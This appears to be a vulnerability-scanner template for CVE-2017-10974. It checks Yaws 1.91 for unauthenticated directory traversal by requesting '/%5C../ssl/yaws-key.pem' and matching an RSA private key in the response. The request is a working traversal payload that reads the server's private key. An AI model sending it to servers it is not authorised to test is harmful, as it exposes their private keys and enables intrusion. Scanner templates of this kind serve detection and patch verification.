id: CVE-2017-10974

info:
  name: Yaws 1.91 - Remote File Disclosure
  author: 0x_Akoko
  severity: high
  description: Yaws 1.91 allows Unauthenticated Remote File Disclosure via HTTP Directory Traversal with /%5C../ to port 8080
  reference:
    - https://www.exploit-db.com/exploits/42303
    - https://nvd.nist.gov/vuln/detail/CVE-2017-10974
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-10974
    cwe-id: CWE-22
  tags: cve,cve2017,yaws,lfi

requests:
  - method: GET
    path:
      - "{{BaseURL}}/%5C../ssl/yaws-key.pem"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "BEGIN RSA PRIVATE KEY"

      - type: status
        status:
          - 200

      - type: dsl
        dsl:
          - '!contains(tolower(body), "<html")'